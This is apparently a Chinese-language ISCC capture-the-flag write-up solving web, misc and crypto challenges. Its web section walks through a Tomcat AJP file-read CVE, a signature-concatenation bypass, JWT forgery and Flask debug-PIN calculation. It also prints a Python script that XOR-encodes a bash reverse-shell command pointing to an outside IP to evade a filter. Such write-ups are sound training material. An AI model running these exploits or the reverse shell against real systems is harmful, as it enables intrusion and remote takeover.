練武題
WEB
還沒想好名字的塔防遊戲
題目中給了塔防遊戲的github原專案地址。
下載題目的網頁原始碼,和github專案對比,發現基本只加了world.js裡的三個提示。
Cats Craft Scarves
Ivory Towers Twinkle
Dragons Whisper Secrets
提示不知道是什麼意思。但是看首字母有點奇怪,另外結合遊戲標題:
Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
還沒想好名字的塔防遊戲
和github專案的名字不同,明明想好了名字,卻說沒想好名字,也很奇怪。
數了一下大寫首字母的數量,剛好是18個,嘗試flag如下正確。
ISCC{MDWTSGTMMCCSITTDWS}
原神啟動
原神雷系剋制草系,到success頁面。
右鍵檢視原始碼,提示輸入flag。然後得到提示flag.txt。
訪問/flag.txt,發現是假的flag。
隨便輸一個地址,出現404頁面。
發現是Apache Tomcat/8.5.32,找對應的漏洞。
cve-2020-1938 是一個Tomcat AJP協議的漏洞,可用於該版本,AJP協議埠是8009。
掃描該埠,發現開放服務。
使用POC:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/tree/master
得到flag:ISCC{x!BJCyT08ZwJKLVC}
程式碼審計
程式碼如下:
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
self.append_to_file(resp) # 追加內容到已存在的檔案
result['code'] = 200
if "read" in self.action:
result['code'] = 200
result['data'] = self.read_from_file() # 從已存在的檔案中讀取
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.parse.unquote(request.args.get("param", ""))
action = "scan"
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.parse.unquote(request.cookies.get("action"))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
try:
with open(param, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return "The file does not exist"
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run()
一個flask伺服器,有兩個介面:/geneSign 和 / De1ta 。
/geneSign 接受一個param引數,並設定 action=”scan”,然後使用key與這兩個引數拼接在一起計算md5,返回作為簽名。
/De1ta 接受一個引數param,並且從cookie中獲取兩個引數action和sign。使用這三個引數建立Task物件,並且執行Exec()方法。
在Exec()方法中首先使用action、param重新計算簽名,與sign值對比,從而驗證簽名。然後判斷action引數中是否有字串”scan”,若有則將param作為檔名讀取檔案內容,並將讀取的內容寫入“已存在的檔案”中。接著判斷action中是否有字串”read”,若有則從“已存在的檔案”中讀取內容,並且作為返回資料。
因此目的就是要使action引數中既有scan又有read,而param設定為flag.txt就可以。但geneSign()中設定了action=”scan”,並且後面計算了簽名。
這裡的漏洞出現在簽名時將各個字串拼接在一起再計算md5,所以重新計算簽名時,字串的內容未必要和之前的一樣,只要它們拼接起來一樣就可以了。
所以可以在生成金鑰時,設定param=”flag.txtread”,這時action=”scan”,拼接起來是”flag.txtreadscan”。
在驗證金鑰時,設定param=”flag.txt”,action=”readscan”,這時拼接起來仍然是”flag.txtreadscan”,驗證透過,滿足讀取flag.txt的條件。
綜上,生成金鑰如圖:
驗證簽名,讀取flag.txt如圖:
得到flag:ISCC{djladaajalfjhlasfj}
Flask中的pin值計算
(1) Username
檢視頁面原始碼,有一個註釋的base64,解碼後得到/getusername
輸入'不要重複說話,告訴我username',得到username是pincalculate。
(2) modname
預設值flask.app
(3) appname
預設值Flask
(4) app.py絕對路徑
在/getusername頁面,輸入’ app.py絕對路徑’,得到/crawler。
訪問,要一秒內計算公式,寫python程式碼實現:
import requests
url = "http://101.200.138.180:10006//get_expression"
r = requests.Session()
json = r.get(url).json()
print(json['expression'])
answer = eval(json['expression'].replace('÷','/'))
url_ans = "http://101.200.138.180:10006/crawler?answer="+str(answer)
submit = r.get(url_ans)
print(submit.text)
得到
<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位於/woddenfish</h1>
所以app.py絕對路徑是 /usr/local/lib/python3.11/site-packages/flask/app.py
。
(5) uuidnode mac
訪問/woddenfish,點選敲擊,發現傳送了一個post請求,載荷是json資料:
{"session":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc"}
顯然是一個jwt token。
在頁面原始碼中有一個display: none元素:ISCC_muyu_2024
,應該是金鑰。
拿去 https://jwt.io/ 修改jwt的payload,將quantity改大一點。
使用該jwt傳送請求,得到uuidnode mac為 02:42:ac:18:00:02
,十進位制為 2485378351106
(6) machine_id
訪問/machine_id,點選VIP會員獎品得到一串jwt token,請求的介面是 http://101.200.138.180:10006/vipprice?token=。
這裡存在CVE-2022-39227,使用poc: https://github.com/user0x1337/CVE-2022-39227
注入 role=vip,得到payload如下
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTU2NTY4MjIsImlhdCI6MTcxNTY1MzIyMiwianRpIjoiWkhGbE1EQTFzeUE4RmVramVFY1lNdyIsIm5iZiI6MTcxNTY1MzIyMiwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTU2NTY4MjIsImlhdCI6MTcxNTY1MzIyMiwianRpIjoiWkhGbE1EQTFzeUE4RmVramVFY1lNdyIsIm5iZiI6MTcxNTY1MzIyMiwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"XrTo-A5LZLb_4bVu0gslb_1yBRQ9Jt_s3PG-Ij_k6RdtPnSa5vWaapFk--MxnW_mnD9DPQswzLFYU2Aqub5xLrT-uY6aXjJauR8D5HFOpX6ERnBjjlDzdkSRG59ZwsyLBfdDeUHepK61kvUbG0qR3-d3XkQWA8zrPCg_5s-QDa7wWS2zVHEGZwZUEmmW8eDskV1_9ZQX4zZEHKh1_6BW6tb9I2EZ9jZnyyR7Xhsv9lI5WkU0C1FibCM5jMcj5qwImYJ9oejz4PTMNsSLjzIgM2OOqAf6cQYd0PxiPSjtgXEdNin4Q6ijmtsgIkOaevzW3l18q8ej3X6LkPCTWWnx3A"}
傳入token引數中,得到金鑰 welcome_to_iscc_club
在/machine_id頁面,有個SUPERVIP會員獎品按鈕,介面是 http://101.200.138.180:10006/supervipprice
使用金鑰修改flask session,設定 role=supervip。
這裡使用的工具是 https://github.com/noraj/flask-session-cookie-manager
得到新的flask session: eyJyb2xlIjoic3VwZXJ2aXAifQ.ZkMHgg.VGPstnKYdOL0B-il_bxNEhfJ2b8
使用新的session值請求supervipprice介面。
得到machine_id:39c61de4-9c0a-4738-b95d-ef3f488d7222
(7) 計算pin值
參考網上的程式碼,https://blog.csdn.net/weixin_63231007/article/details/131659892
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate' # username 可透過/etc/passwd獲取
'flask.app', # modname預設值
'Flask', # 預設值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # 路徑 可報錯得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485378351106', # /sys/class/net/eth0/address mac地址十進位制
'39c61de4-9c0a-4738-b95d-ef3f488d7222'
# 字串合併:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面為原始碼裡面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到pin值:145-292-248
訪問/console,輸入pin值,得到flag:ISCC{WjbhDJtTrXfXcZa_}
5. 掉進阿帕奇的工資
- 隨便註冊一個賬戶,登入時發現沒有許可權登入。
- 在資訊重置頁面進行資訊重置,提示身份太弱不是manager
那麼應該是要提權為manager。
- 後來嘗試發現選擇“您的母校名稱是什麼”作為密保問題,輸入任意答案,然後重置就可以是manager身份。
- 登入成功,在工資頁面發現異或命令執行,基本工資和績效輸入的值會進行異或,異或之後的值會被作為命令執行。
但是過濾了空格很多字元。
不過經過測試,只是對基本工資和績效兩個引數的過濾,沒有過濾異或之後的字串。
- 所以可以寫程式碼,將要執行的命令自己先異或一次,拿異或之後的字串與對應長度的1作為引數,從而執行任意命令。這裡執行一個反彈shell的payload:
bash -c 'bash -i >& /dev/tcp/139.9.3.42/55666 0>&1'
python程式碼如下:
import requests
from bs4 import BeautifulSoup
# 定義目標URL
url = 'http://101.200.138.180:60000/gongzi_iscc.php'
# 定義請求頭(如果需要)
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=1',
'Origin': 'http://101.200.138.180:60000',
'Connection': 'close',
'Referer': 'http://101.200.138.180:60000/gongzi_iscc.php'
}
cookies = {
'PHPSESSID': 'hdi5sofdvh7kr7tle1uac0bf8d'
}
cmd = "bash -c 'bash -i >& /dev/tcp/139.9.3.42/55666 0>&1'"
ones = '1'*len(cmd)
payload = ''.join([chr(ord(cmd[i])^ord(ones[i])) for i in range(len(cmd))])
# 定義請求體(資料)
data = {
'basicSalary': payload,
'performanceCoefficient': ones,
'calculate': '111'
}
# 傳送POST請求
response = requests.post(url, headers=headers, data=data, cookies=cookies)
# 檢查響應狀態碼
if response.status_code == 200:
print('請求成功!')
# print('響應資料:', response.text)
# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(response.text, 'html.parser')
# 找到所有<div class="result-box">元素
result_boxes = soup.find_all('div', class_='result-box')
# 遍歷每個結果框
for result_box in result_boxes:
# 輸出結果框下的內容
print(result_box.text)
else:
print('請求失敗, 狀態碼:', response.status_code)
print('響應內容:', response.text)
print(data)
- 很多命令都沒有,上傳一個busybox。
在自己的VPS使用cat busybox | nc -lvnp 55668,等待靶機連線。
在靶機使用cat < /dev/tcp/139.9.3.42/55668 > busybox,建立tcp連線並讀取其中的資料儲存為busybox。
- 使用arp -a檢視內網主機。
- 發現有一個secret.host,訪問一下發現80埠開啟。
- 訪問/flag,得到flag。
MISC
Number_is_the_key
下載xlsx檔案後發現裡面什麼都沒有,但是檔案大小還很大,那麼一定有隱藏資料。
改成zip解壓後,發現xl/worksheets/sheet1.xml檔案中存在大量的單元格資料,但是僅標出了該單元格的位置,並沒有單元格的內容。
所以自己手動新增上內容,將所有/><c
字串替換為><v>1</v></c><c
,即將所有單元格內容賦值為1。
然後重新壓縮成zip,改成xlsx開啟。可以看到已經標出這些單元格,似乎是一個二維碼。設定條件格式,內容等於1時填充為黑色,並且修改列寬為2,得到下圖二維碼。
掃碼得到flag。
ISCC{X6C334DFhZyO}
FunZip
給了一個txt檔案:
VTFSS2MyUldhM2xsUkZaaFVqRlZORmxXWXpWbGJWSkpVMjE0V2xaNlFYSlJNbU01VUZG
VTFSS2MyUldhM2xsUkVaaFVqRlZORmw2VGxObFYwWllUbGMxVVZveU9EbEVVUV
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlIwNTBZa2hXWVdWcVVreEVWcB
VTFSS2MyUldhM2xsUkVaaFVqRlZORmRVVGs5TlJuWklZa2hhVVZveU9EbEVVUW
VTFSS1UySkdjSFJpU0ZaaFZUQktNRmRXYUc5a1ZXeEZZWHBXVUZWWE9EbEVaQs
VVRKak9WQlJNY0
V2tab1QyTkhTblJaTW1ScFlsVmFNVmRzYUU5a01XeFlWRzE0U2xORk5IZFhhMUo2VTNjeD
VVRKak9WQlJNTm
VjFSS2IyRkhUbkJWYlhCYVZtNVNNRmRXYUc5a1ZtaFdaREprV2sxcmNHbFpiR1JIVGtkS2MyMUVaRVJhZWpBNVJGVy
VVRKak9WQlJNVk
V1Zaak1VMUZiRWhVYmxKcVVUSm9ObHBGYUV0alIycDBXVEprV2xVelpHNVplazVUWlZkR1dFNVhOVXBTTW14M1VUSmpPVkJSTWy
V2xoa2RsQlJNZl
VTFWT1Fsb3piRWhpUnpGTVVqTldNVmw2U25OT2JIQlVXak5DU2xKRVVtNVhWMnN4WlcxR1dXTkhlRXhSTW5SM1VUSmpPVkJSTXq
VTFWT1Fsb3diRVJpVjJSS1lqfktOVmRzYUZOTlYwNTBUa2RrVGxaSVRreEVZbf
VTFWT1Fsb3diRWhXYms1cVRXeFdibGxXWkZwaU1XeFVUbGh3YUZkSVFuTlRNRTV5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZSaE1ITk8
VTFWT1Fsb3diRVJSVjJSS1VUQktOVmRzYUZOTlY9NTBUa2RrVFZaRlZUTlJNbU01VUZFd9
VTFWT1Fsb3diRWhXYms1cVRXeFdURVJr
VTFWT1Fsb3diRWxqTUhOT1
VTFWT1Fsb3diRVJSVjJSS1VUQktkRmxxVGtwaU1rWllUbFJDU2xJeWRHNVZSazVDWkRBNU5WRnVRa3BTU0dSdVYxWk5NV1Z0UmxsalIzaE1VVEp6TTFOVlpISmphM1ExWVRCelRq
VTFWT1Fsb3liRVJSVjJSS1VUSkpNMUV5WXpsUVVUSq
VTFWT1Jsb3hiRVJSVjJSS1VURkdibE5WVGtKYU1rWllWMWM1V2xadVVuZFhSazVDVDBWc1NGTnRTbWhXYWtKM1VUSmpPVkJSTVL
VTFWT1Fsb3diRVJaVjJSS1dUQkdibE5WVGxKYU1HeEVXVmRsU2xORmNITmFSV2hYWlZkS2NGbFlVbDVXU0U1TVJGbG
VTFWT2Zsb3hiRVJSVjJSS1VURkdibE5WVGtKaU1rWllWMWM1V2xadVVuZFhSazVDU3pGc1NGTnRTbWhXaWtKM1VUSmpPVkJSTWa
VTFWT1Fsb3diRVJZVjJSS1dEQkdibE5WVGtKYU1HeEVXRmRrU2xORmNITmFSV2hYWlZkS2NGaFlhRkJrTWpoNVJGaF
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQ4
VTFWT1Fsb3diRVJrVjJSS1pEQktOVmRzYUZOTlYwNTBUa2RrVGxKSVRreEVaSl
VTFWT1Fsb3diRWxOUlhOT5
V214R2RsQlJNbt
VVRKak9WQlJNVD
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVaaU1rMTZWVzVzYUZaNlZuVlRWV1JHWTBWT2JsQlVNRTU
V2xoa2RsQlJNWA
VTFWT2Rsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeFVaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBWTW5SM1ZETmtkbEJSTWQ
VTFWT1Fsb3liRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRhRTFpYXpWM1dsY3hWbUx5ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEw
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd1dtbFhWazB4WlcxR1dXTkhlRXhSTW5Rd1ZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekE
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNcw
VVRKak9WQlJNTQ
V2tjd05XTkdjRVJSYm14aFYwVTFjMXBGWkVwaU1rMTZWVzVzYUZaNlZuVlRWV1JLWTBWT2JsQlVNRTQ
V2xoa2RsQlJNMQ
VTFWT2Zsb3hiRWhOVjNocFYwVTFjMXBGVG05aGJHeHdaRE5rVFZORk5YZGFWekZYWkd4d2NHRkhjRnBoVjNSM1ZETmtkbEJSTWY
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVVVlJzU2xKRlJUTlRWV1J5V2pGQ1JGRnRiRTFpYXpWM1dsY3hWbUl3ZEZWak1tUm9WVE5PZVZNeFJuWlFVVEI
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3hiRVJSVjJSS1VURktjVmRYZURGalJtaFVVVlJzU2xJeGNHbFhWMnN4WlcxR1dXTkhlRXhSTW5ReFZGWk5lR05HYUZSUldGSktVVEpPTTFOdWNIcFRkekU
VTFWT1dsb3hiRVJSVjJSS1VURkdNbFJFVGtObFYwWllUbFJDWVdGWFpIQlRiR1JTWVZWNFNGUnRiRmhOYlhoclV6RlNlbE4zTVc
VTFWT1Fsb3diRWxOUlhOTw
V214R2RsQlJNeg
VVRKak9WQlJNMA
V1hwT1UyVlhSbGhPVnpWS1VqRmFjbGRyVG05bGJWSkpVMjVDYVdKWFRtNVhWazR6V2pKTmVsVnViR2hXZWxaMVUxVmtTbU5GZURWTU1uaHdZMVZTZEdONlZsWlRkekY
V2xoa2RsQlJNcg
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRXVG05aFJYUlZZek5hVFVzeVJreGhXRlpvWkcxdmVsVjZVbTVVTVUwMVlXMVdXR1JITVZCYVYwWnZWREZrTUdKRGRHeGpNMEl4VmpGQ2RGUXlSa3BoTURsb1ZtNU9VRll6VW5ObFdIQnpaRmRLYVdFelZrdFdSekZ3WWpOS2RHSkhTa1ZpYmxVd1ZrZDRlVTVFVG5aa2FsSnRZbGUxYUZkSGRESmphVGx5WkZlNE0ySkhkRXBPTTBKMVdWVjRlbVJWYTNwaVIzUktaVzEwTWxkVVRuUmlSMHBGWW0wd00yRnRlSEJqVlVaTVJGZQ
VTFWT1Fsb3diRWxUYlhocVRXeFpkMWRYYkc5aFZYUlZZekJ6VGc
VTFWT1Fsb3diRWhYYmxwcVlWZG9kMWx0TlZKYU1rWlVWRlJzU2xKRlJUTlRWV1J5V2pGQ1JGUnVVbHBYUjJneFZETnNRMk5GZERWak0wSkVXbm93T1VSVQ
VTFWT1Fsb3diRWxqTUhOTw
VTFWT1Fsb3diRVJSVjJSS1VUQktjVmRXV2pCalJtaFVVVlJzU2xJd05XOVdla3B6V2tWc1JHTXlaRnBOYTNCcFdWWlpkMDR3VG01UVZEQk8
VTFWT1Fsb3diRVJSVjJSS1VUQktkMWR0Ykc5aGJHeFhaRWhDV1ZVd1JYSlZSazVDWlZWMFdXTXdjMDQ
VTFWT1Fsb3diRVJVVjJSS1ZEQkdibE5WVGtKYU1XdDVVbTFLYUZVelRqUlhSazVDWTJ4Q1ZGUllhRkJrTWpnNVJGUQ
VTFWT1Fsb3diRVJSVjJSS1VUQkdibE5WVGtKYU1XdDVVbTFLYUZacVFtNVVSbEYzV2pBeGNXTXdjMDQ
VTFWT1Fsb3diRVJSVjJSS1VUQkpOVkV5WXpsUVVUQQ
很明顯是一堆base64,首先拿去cyberchef解密,四次base64解密後得到原文。
但是有些行最後部分位元組解密後亂碼。
並且對於成功解密的行,將原文拿去四次base64編碼,得到的字串與題目給出的字串在最後部分也存在不同。
猜測是Base64隱寫,將資訊藏在base64編碼最後一個位元組的填充位上,改變了最後一個位元組,然後經過四次編碼得到了許多不同位元組。
補充一下base64隱寫的知識:
根據base64編碼方式,6位二進位制編碼一個字元,總位元組數應能被3整除,若不能整除的,則在末尾填充0,相應在base64編碼後填充=
base64解碼時,按8位二進位制一組解碼,多餘部分丟棄
解碼時,base64編碼中若有填充(有=號),則在=號前的最後一個位元組的後幾位會被丟棄(後2位或後4位),因此在這幾位可以隱藏資訊,而不會影響base64解碼結果。
寫python指令碼,首先補齊後面的等號,然後從每一行的最後一個位元組中提出插入的bit。
import base64
b64charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('f380d850e6ebdb19b7d0743.txt', 'r') as f:
hind_bin = ''
for line in f.readlines():
now_str = line.strip()
if len(now_str)%4 != 0:
now_str += "="*(4-len(now_str)%4) #base64字串一定是4的倍數,補齊等號
row_str = base64.b64encode(base64.b64decode(now_str)).decode() #新增隱寫前的base64字串
#base64隱寫會修改最後一個位元組的內容,因此求隱寫前後的最後一個位元組的差值
offset = abs(b64charset.index(now_str.replace('=','')[-1]) - b64charset.index(row_str.replace('=','')[-1]))
#將各行的隱藏資料拼接在一起,隱藏資料轉為二進位制並且填充前導零,隱藏資料的位數等於=的數量*2,因為base64隱寫只有三種情況:1.一個=號,這時有兩位可以隱藏資料;2.兩個=號,這時有四位可以隱藏資料;3.沒有=號,這時沒有隱藏資料
equalnum = row_str.count('=')
if equalnum:
hind_bin += bin(offset)[2:].zfill(equalnum*2)
print(hind_bin)
#按ascii碼每八位轉成一個字元
hind_str = ''.join([chr(int(hind_bin[i:i + 8], 2)) for i in range(0, len(hind_bin), 8)])
print(hind_str)
得到flag:ISCC{QlCbIo5kiagL}
精裝四合一
四張圖片,用010editor開啟發現後面都有附加資料。
將原png圖片資料刪掉,僅留下這些附加資料。
嘗試異或0xff後,發現這四個檔案的開頭位元組分別是50,4B,03,04,即zip壓縮包的開頭位元組。
所以迴圈依次讀取這四個檔案中的位元組,並且寫入一個新檔案中,python程式碼如下:
# 開啟四個檔案
file_paths = ["left_foot_invert.png", "left_hand_invert.png", "right_foot_invert.png", "right_hand_invert.png"]
files = [open(path, "rb") for path in file_paths]
# 建立一個新檔案用於寫入
output_file = open("output.zip", "wb")
try:
while True:
for file in files:
byte = file.read(1) # 從每個檔案中讀取一個位元組
if byte:
output_file.write(byte) # 將位元組寫入新檔案
else:
break # 如果檔案結束,則停止讀取該檔案
else:
continue # 如果所有檔案都還沒結束,則繼續迴圈
break # 如果有檔案結束了,則退出迴圈
finally:
# 關閉所有檔案
for file in files:
file.close()
output_file.close()
得到zip檔案,解壓時發現要密碼。不是偽加密,嘗試使用ARCHPR爆破,設定數字0-9,長度1-9,爆破得到密碼65537。
使用密碼解壓zip,得到一個word文件,其中說flag在這裡,但是僅有一個圖片。
可能有隱藏資料。將word字尾改為zip,解壓,檢視word\document.xml檔案,發現有一串隱藏資料:16920251144570812336430166924811515273080382783829495988294341496740639931651
。
有可能是rsa的n值,拿去yafu分解,得到p和q。
但是還沒有密文。繼續找有沒有隱藏資料,最終發現\word\media\ true_flag.jpeg。該jpeg檔案打不開,hex格式檢視發現僅有一串資料,猜測就是密文。
寫python程式碼,讀取密文,使用p,q,n計算私鑰d,並解密。
import gmpy2
# import
with open('true_flag.jpeg','rb') as f:
enc = int.from_bytes(f.read(),'big')
e = 65537
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
dec = pow(enc,d,n)
flag = int(dec).to_bytes(32,'big')
print(flag)
得到flag:ISCC{5C07W75t26s738k}
RSA_KU
解方程組,求(p-1)和(q-1)。
Python程式碼如下:
from sympy import symbols, solve
import gmpy2
from Crypto.Util.number import *
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 97898683638766026230263597135292233881865348723121596085191081970268874981037896930930087698668671774738998955534852004274313401297602694528447777804554983021578140647266576965584784432205308238672393769029977629562247050486003700291768483527755299296535734362293554817433947961032019145082077652857905644761
a = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
b = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458
# 定義變數
x, y = symbols('x y')
# 定義方程組
eq1 = n-x-2*y-1-a
eq2 = n-2*x-y-1-b
# 求解方程組
solution = solve((eq1, eq2), (x, y))
# 列印解
print("x =", solution[x])
print("y =", solution[y])
phi = int(solution[x]*solution[y])
print(phi)
d = gmpy2.invert(e,phi)
m = pow(c, d, n)
print(long_to_bytes(m))
得到flag:ISCC{IN0tnKciooJxw6EvsN--}
時間刺客
使用tshark從流量包中匯出鍵盤流量資料,命令如下:
tshark -r example.pcap -T fields -e usb.capdata > usbdata.txt
將鍵盤流量轉為字串,python程式碼:
#!/usr/bin/env python
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
def main():
# read data
with open("usbdata.txt", "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "20": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print("[-] Unknow Key : %s" % (Bytes[0]))
print("[+] Found : %s" % (result))
if __name__ == "__main__":
main()
得到:flag{pr355_0nwards_a2fee6e0}
該flag{}中的內容,去掉下劃線,可以作為7z檔案的密碼:pr3550nwardsa2fee6e0
解密得到一個rar壓縮包。
裡面的檔名有順序,大小都為0,時間與2024年10月14日早8點差不多。
寫python程式碼,用這些時間減去2024年10月14日早8點,差值作為字元的ASCII碼。
import rarfile
import re
import datetime
rar_filename = "5.rar"
flag = ""
# 修正檔案排序
def extract_number(filename):
try:
return int(re.search(r'\.(\d+)', filename).group(1))
except:
return 99999999999999999
with rarfile.RarFile(rar_filename) as rf:
for file_info in sorted(rf.infolist(), key=lambda x: extract_number(x.filename)):
# print(file_info.filename)
timestamp = file_info.date_time
dt = datetime.datetime(*timestamp)
timestamp = int(dt.timestamp())
try:
# 1728835200 由提示,2024年10月14日早8點,對應的時間戳修正而來
flag += chr(timestamp - 1728835200)
except:
pass
flag = "ISCC{" + flag + "}"
print(flag)
得到flag:ISCC{ohciJuq5lmaH7eXd6G}
有人讓我給你帶個話
給了一個Tony.png檔案。
Tony.png放進010 Editor中,發現在png資料後面還有一個rar檔案資料。
將上面的png資料刪掉,儲存,修改字尾為rar,解壓得到一個lyra.png。
在網上搜尋發現Lyra是一個音訊編解碼工具,github地址為 https://github.com/google/lyra。
“有人和你說了一些東西“檔案猜測就是lyra檔案,修改字尾為.lyra。
下載lyra專案,對該檔案進行解碼,執行:
bazel-bin/lyra/cli_example/decoder_main --encoded_path=../something.lyra --output_dir=../ --bitrate=3200
聽了一下wav檔案,可能是核心價值觀編碼,用線上工具轉成文字。
得到:自由誠信富強和諧敬業平等民主自由愛國自由誠信平等平等平等和諧敬業平等法治自由誠信和諧和諧和諧和諧法治自由友善公正
解碼得到flag:ISCC{J9QHOU9WM37L}
RE
RE1
IDA開啟,大概邏輯是輸入flag,然後經過check1和check2兩個函式判斷。
